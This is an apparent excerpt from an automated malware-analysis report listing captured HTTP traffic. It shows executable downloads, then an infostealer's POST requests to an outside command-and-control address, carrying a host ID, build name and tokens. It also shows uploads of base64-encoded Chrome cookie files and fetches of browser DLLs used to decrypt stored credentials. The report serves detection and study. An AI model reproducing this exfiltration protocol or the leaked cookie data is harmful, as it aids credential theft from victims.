00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 02 Jul 2024 02:12:09 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 02 Jul 2024 02:12:13 GMTContent-Type: application/octet-streamContent-Length: 1907200Last-Modified: Tue, 02 Jul 2024 01:58:58 GMTConnection: keep-aliveETag: "66835ee2-1d1a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 84 ea 61 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e4 04 00 00 c6 01 00 00 00 00 00 00 f0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 4c 00 00 04 00 00 1a 91 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 a0 06 00 6c 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 de 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b4 dd 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 dc 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2b 00 00 b0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 77 74 68 63 75 75 78 00 00 1a 00 00 e0 31 00 00 00 1a 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 67 65 6a 70 76 67 75 00 10 00 00 00 e0 4b 00 00 06 00 00 00 f2 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 4b 00 00 22 00 00 00 f8 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 02 Jul 2024 02:13:04 GMTContent-Type: application/octet-streamContent-Length: 2514944Last-Modified: Tue, 02 Jul 2024 00:00:51 GMTConnection: keep-aliveETag: "66834333-266000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4a 8c 64 5a 0e ed 0a 09 0e ed 0a 09 0e ed 0a 09 61 9b a1 09 16 ed 0a 09 61 9b 94 09 03 ed 0a 09 61 9b a0 09 35 ed 0a 09 07 95 89 09 0d ed 0a 09 07 95 99 09 0c ed 0a 09 8e 94 0b 08 0d ed 0a 09 0e ed 0b 09 5a ed 0a 09 61 9b a5 09 01 ed 0a 09 61 9b 97 09 0f ed 0a 09 52 69 63 68 0e ed 0a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 f6 41 83 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ac 01 00 00 e8 21 00 00 00 00 00 40 66 bf 00 00 10 00 00 00 c0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 80 bf 00 00 04 00 00 00 00 00 00 02 00 40 80 00 00 20 00 00 20 00 00 00 00 20 00 00 20 00 00 00 00 00 00 10 00 00 00 20 80 9d 00 9b 0c 00 00 bc 8c 9d 00 0c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 9d 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 01 00 00 10 00 00 00 a4 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 80 00 00 00 c0 01 00 00 40 00 00 00 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 30 21 00 00 40 02 00 00 04 00 00 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 50 00 00 00 70 23 00 00 20 00 00 00 ec 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 90 79 00 00 c0 23 00 00 28 03 00 00 0c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 64 61 74 61 00 00 00 00 30 22 00 00 50 9d 00 00 2c 22 00 00 34 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKJDGIEHCAEHIEBFBKKKHost: 85.28.47.4Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 49 45 48 43 41 45 48 49 45 42 46 42 4b 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 35 30 36 38 32 30 43 43 35 33 33 32 36 33 32 34 32 37 36 35 39 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 49 45 48 43 41 45 48 49 45 42 46 42 4b 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6a 6f 6e 79 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 49 45 48 43 41 45 48 49 45 42 46 42 4b 4b 4b 2d 2d 0d 0a Data Ascii: ------AKJDGIEHCAEHIEBFBKKKContent-Disposition: form-data; name="hwid"8506820CC5332632427659------AKJDGIEHCAEHIEBFBKKKContent-Disposition: form-data; name="build"jony------AKJDGIEHCAEHIEBFBKKK--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDGCGHCGHCBFHJJKKJEHost: 85.28.47.4Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 63 33 64 33 65 39 35 33 33 35 39 35 37 32 31 35 64 66 33 62 36 39 38 38 32 37 34 65 32 61 35 66 30 39 64 32 35 36 61 66 63 33 31 37 65 39 65 62 32 32 39 61 30 34 37 33 66 37 65 36 36 38 30 37 30 36 65 32 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 2d 2d 0d 0a Data Ascii: ------JJDGCGHCGHCBFHJJKKJEContent-Disposition: form-data; name="token"0c3d3e95335957215df3b6988274e2a5f09d256afc317e9eb229a0473f7e6680706e2d11------JJDGCGHCGHCBFHJJKKJEContent-Disposition: form-data; name="message"browsers------JJDGCGHCGHCBFHJJKKJE--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBFCBGCGIJKJKECAKEGCHost: 85.28.47.4Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 46 43 42 47 43 47 49 4a 4b 4a 4b 45 43 41 4b 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 63 33 64 33 65 39 35 33 33 35 39 35 37 32 31 35 64 66 33 62 36 39 38 38 32 37 34 65 32 61 35 66 30 39 64 32 35 36 61 66 63 33 31 37 65 39 65 62 32 32 39 61 30 34 37 33 66 37 65 36 36 38 30 37 30 36 65 32 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 43 42 47 43 47 49 4a 4b 4a 4b 45 43 41 4b 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 43 42 47 43 47 49 4a 4b 4a 4b 45 43 41 4b 45 47 43 2d 2d 0d 0a Data Ascii: ------DBFCBGCGIJKJKECAKEGCContent-Disposition: form-data; name="token"0c3d3e95335957215df3b6988274e2a5f09d256afc317e9eb229a0473f7e6680706e2d11------DBFCBGCGIJKJKECAKEGCContent-Disposition: form-data; name="message"plugins------DBFCBGCGIJKJKECAKEGC--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFHJJJDAFBKEBGDGHCGHost: 85.28.47.4Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 63 33 64 33 65 39 35 33 33 35 39 35 37 32 31 35 64 66 33 62 36 39 38 38 32 37 34 65 32 61 35 66 30 39 64 32 35 36 61 66 63 33 31 37 65 39 65 62 32 32 39 61 30 34 37 33 66 37 65 36 36 38 30 37 30 36 65 32 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 2d 2d 0d 0a Data Ascii: ------FBFHJJJDAFBKEBGDGHCGContent-Disposition: form-data; name="token"0c3d3e95335957215df3b6988274e2a5f09d256afc317e9eb229a0473f7e6680706e2d11------FBFHJJJDAFBKEBGDGHCGContent-Disposition: form-data; name="message"fplugins------FBFHJJJDAFBKEBGDGHCG--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDGIJECFIEBFIDHCGHDHost: 85.28.47.4Content-Length: 5683Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/sqlite3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDGCFBFBFBKEBGCAFCGHost: 85.28.47.4Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 44 47 43 46 42 46 42 46 42 4b 45 42 47 43 41 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 63 33 64 33 65 39 35 33 33 35 39 35 37 32 31 35 64 66 33 62 36 39 38 38 32 37 34 65 32 61 35 66 30 39 64 32 35 36 61 66 63 33 31 37 65 39 65 62 32 32 39 61 30 34 37 33 66 37 65 36 36 38 30 37 30 36 65 32 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 47 43 46 42 46 42 46 42 4b 45 42 47 43 41 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 47 43 46 42 46 42 46 42 4b 45 42 47 43 41 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 47 43 46 42 46 42 46 42 4b 45 42 47 43 41 46 43 47 2d 2d 0d 0a Data Ascii: ------HIDGCFBFBFBKEBGCAFCGContent-Disposition: form-data; name="token"0c3d3e95335957215df3b6988274e2a5f09d256afc317e9eb229a0473f7e6680706e2d11------HIDGCFBFBFBKEBGCAFCGContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------HIDGCFBFBFBKEBGCAFCGContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12Z
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDBGDHDAECBGDHJKFIDGHost: 85.28.47.4Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 63 33 64 33 65 39 35 33 33 35 39 35 37 32 31 35 64 66 33 62 36 39 38 38 32 37 34 65 32 61 35 66 30 39 64 32 35 36 61 66 63 33 31 37 65 39 65 62 32 32 39 61 30 34 37 33 66 37 65 36 36 38 30 37 30 36 65 32 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 47 2d 2d 0d 0a Data Ascii: ------HDBGDHDAECBGDHJKFIDGContent-Disposition: form-data; name="token"0c3d3e95335957215df3b6988274e2a5f09d256afc317e9eb229a0473f7e6680706e2d11------HDBGDHDAECBGDHJKFIDGContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------HDBGDHDAECBGDHJKFIDGContent-Disposition: form-data; name="file"------HDBGDHDAECBGDHJKFIDG--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGHJEBGHJKEBFHIJDHCHost: 85.28.47.4Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 47 48 4a 45 42 47 48 4a 4b 45 42 46 48 49 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 63 33 64 33 65 39 35 33 33 35 39 35 37 32 31 35 64 66 33 62 36 39 38 38 32 37 34 65 32 61 35 66 30 39 64 32 35 36 61 66 63 33 31 37 65 39 65 62 32 32 39 61 30 34 37 33 66 37 65 36 36 38 30 37 30 36 65 32 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 4a 45 42 47 48 4a 4b 45 42 46 48 49 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 4a 45 42 47 48 4a 4b 45 42 46 48 49 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 4a 45 42 47 48 4a 4b 45 42 46 48 49 4a 44 48 43 2d 2d 0d 0a Data Ascii: ------GCGHJEBGHJKEBFHIJDHCContent-Disposition: form-data; name="token"0c3d3e95335957215df3b6988274e2a5f09d256afc317e9eb229a0473f7e6680706e2d11------GCGHJEBGHJKEBFHIJDHCContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------GCGHJEBGHJKEBFHIJDHCContent-Disposition: form-data; name="file"------GCGHJEBGHJKEBFHIJDHC--
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/freebl3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/mozglue.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/msvcp140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/nss3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/softokn3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
